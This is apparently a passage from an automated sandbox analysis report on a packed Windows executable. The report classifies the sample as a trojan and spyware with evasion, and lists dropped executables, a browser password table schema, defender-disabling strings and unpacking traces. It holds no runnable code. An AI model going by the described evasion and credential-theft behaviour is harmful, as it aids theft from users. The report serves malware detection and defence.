Source: BVGvbpplT8.exe, 00000001.00000003.2472227083.000000000607E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2483769014.0000000006197000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2472454481.000000000615F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2497471500.0000000006344000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2471413589.000000000607D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2482540550.000000000607F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2488229836.0000000006080000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2487018755.000000000607D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2487234694.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2470513208.000000000614F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2497722164.0000000006081000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2484357853.000000000607F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2499386746.00000000061F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2496162283.0000000006078000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2459674946.0000000006113000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2474588986.000000000607E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2489618075.00000000061CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2473736920.000000000607B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2489188822.00000000061CE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2488781625.00000000061CB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2473177405.000000000607B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2487825806.00000000061B7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2488412746.00000000061D4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2475257628.000000000616E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2480042552.000000000617A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2469723075.0000000006143000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2463017968.0000000006122000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2483377707.00000000062C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2459859656.00000000061B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2483544297.000000000607E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2483212200.0000000006197000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2476282887.000000000616C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2466319178.0000000006078000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2482875423.000000000607B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2468872659.0000000006126000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2473339054.0000000006161000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2470702557.0000000006083000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2481698157.000000000607C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2468699132.000000000607A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2458512614.0000000005EDC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2500791855.000000000607E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2476999559.000000000626B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2500306302.00000000061EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2467243237.000000000607E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2479005872.0000000006185000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2458206429.0000000006085000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2469584192.000000000607B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2468111057.0000000006080000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2468396888.000000000607A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2472063355.0000000006222000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2488037236.0000000006305000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2473890507.0000000006175000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2470319602.000000000607F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2467362385.0000000006127000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2466600049.0000000006123000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2459363747.000000000607D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2465691566.000000000611E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2469458372.0000000006140000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2498384801.00000000061EF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs BVGvbpplT8.exe

Source: BVGvbpplT8.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: BVGvbpplT8.exe	Static PE information: Section: ZLIB complexity 0.9974448844178082
Source: BVGvbpplT8.exe	Static PE information: Section: xpumokpk ZLIB complexity 0.9947723635444744

Source: O215CKAM4VJZ3EV7.exe.1.dr

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@5/3@11/4

Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\44WNAJWW05E0258PKFVID8DSXYO93MX.exe.log

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\BVGvbpplT8.exe

File created: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe

Jump to behavior

Source: C:\Users\user\Desktop\BVGvbpplT8.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: BVGvbpplT8.exe, 00000001.00000003.2256925388.0000000005C08000.00000004.00000800.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2257320735.0000000005BE9000.00000004.00000800.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2286702530.0000000005C0A000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: BVGvbpplT8.exe	Virustotal: Detection: 54%
Source: BVGvbpplT8.exe	ReversingLabs: Detection: 63%

Source: C:\Users\user\Desktop\BVGvbpplT8.exe

File read: C:\Users\user\Desktop\BVGvbpplT8.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\BVGvbpplT8.exe "C:\Users\user\Desktop\BVGvbpplT8.exe"
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Process created: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe "C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe"
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Process created: C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe "C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe"
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Process created: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe "C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe"	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Process created: C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe "C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe"	Jump to behavior

Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: BVGvbpplT8.exe

Static file information: File size 1874432 > 1048576

Source: BVGvbpplT8.exe

Static PE information: Raw size of xpumokpk is bigger than: 0x100000 < 0x1a1600

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 44WNAJWW05E0258PKFVID8DSXYO93MX.exe, 0000000D.00000002.2650233519.0000000000452000.00000040.00000001.01000000.00000006.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	Unpacked PE file: 13.2.44WNAJWW05E0258PKFVID8DSXYO93MX.exe.450000.0.unpack :EW;.rsrc:W;.idata :W;brdofphe:EW;pzoalvov:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe	Unpacked PE file: 14.2.O215CKAM4VJZ3EV7.exe.450000.0.unpack :EW;.rsrc:W;.idata :W;ynqricro:EW;wjlvyldl:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;ynqricro:EW;wjlvyldl:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: BVGvbpplT8.exe	Static PE information: real checksum: 0x1d56df should be: 0x1cdbd3
Source: O215CKAM4VJZ3EV7.exe.1.dr	Static PE information: real checksum: 0x2b4c84 should be: 0x2c0e47
Source: 44WNAJWW05E0258PKFVID8DSXYO93MX.exe.1.dr	Static PE information: real checksum: 0x2ac9fa should be: 0x2b1d20

Source: BVGvbpplT8.exe	Static PE information: section name:
Source: BVGvbpplT8.exe	Static PE information: section name: .idata
Source: BVGvbpplT8.exe	Static PE information: section name:
Source: BVGvbpplT8.exe	Static PE information: section name: xpumokpk
Source: BVGvbpplT8.exe	Static PE information: section name: mjjkhxdo
Source: BVGvbpplT8.exe	Static PE information: section name: .taggant
Source: 44WNAJWW05E0258PKFVID8DSXYO93MX.exe.1.dr	Static PE information: section name:
Source: 44WNAJWW05E0258PKFVID8DSXYO93MX.exe.1.dr	Static PE information: section name: .idata
Source: 44WNAJWW05E0258PKFVID8DSXYO93MX.exe.1.dr	Static PE information: section name: brdofphe
Source: 44WNAJWW05E0258PKFVID8DSXYO93MX.exe.1.dr	Static PE information: section name: pzoalvov
Source: 44WNAJWW05E0258PKFVID8DSXYO93MX.exe.1.dr	Static PE information: section name: .taggant
Source: O215CKAM4VJZ3EV7.exe.1.dr	Static PE information: section name:
Source: O215CKAM4VJZ3EV7.exe.1.dr	Static PE information: section name: .idata
Source: O215CKAM4VJZ3EV7.exe.1.dr	Static PE information: section name: ynqricro
Source: O215CKAM4VJZ3EV7.exe.1.dr	Static PE information: section name: wjlvyldl
Source: O215CKAM4VJZ3EV7.exe.1.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Code function: 1_3_00D6D469 push edi; retf	1_3_00D6D46A
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Code function: 1_3_00D6D469 push edi; retf	1_3_00D6D46A
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Code function: 1_3_00D6D469 push edi; retf	1_3_00D6D46A
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Code function: 1_3_00D6D469 push edi; retf	1_3_00D6D46A
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Code function: 1_3_00D6CB88 pushfd ; retf	1_3_00D6CB99
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Code function: 1_3_00D6CB88 pushfd ; retf	1_3_00D6CB99
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Code function: 1_3_00D6CB88 pushfd ; retf	1_3_00D6CB99
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Code function: 1_3_00D6CB88 pushfd ; retf	1_3_00D6CB99
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Code function: 1_3_00D07EB0 push FFFFFF82h; ret	1_3_00D07ED2
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Code function: 1_3_00D07EB0 push FFFFFF82h; ret	1_3_00D07ED2
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Code function: 1_3_00D03F04 push ds; retf	1_3_00D03F16
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Code function: 1_3_00D03F04 push ds; retf	1_3_00D03F16
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Code function: 1_3_00D6CB88 pushfd ; retf	1_3_00D6CB99
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Code function: 1_3_00D6CB88 pushfd ; retf	1_3_00D6CB99
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Code function: 1_3_00D6CB88 pushfd ; retf	1_3_00D6CB99
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Code function: 1_3_00D6CB88 pushfd ; retf	1_3_00D6CB99
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Code function: 1_3_00D6D469 push edi; retf	1_3_00D6D46A
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Code function: 1_3_00D6D469 push edi; retf	1_3_00D6D46A
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Code function: 1_3_00D6D469 push edi; retf	1_3_00D6D46A
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Code function: 1_3_00D6D469 push edi; retf	1_3_00D6D46A
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Code function: 1_3_05BE006F push cs; iretd	1_3_05BE0070
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Code function: 1_3_05BDFFC0 push eax; ret	1_3_05BDFFDA
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Code function: 1_3_00D6D469 push edi; retf	1_3_00D6D46A
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Code function: 1_3_00D6D469 push edi; retf	1_3_00D6D46A
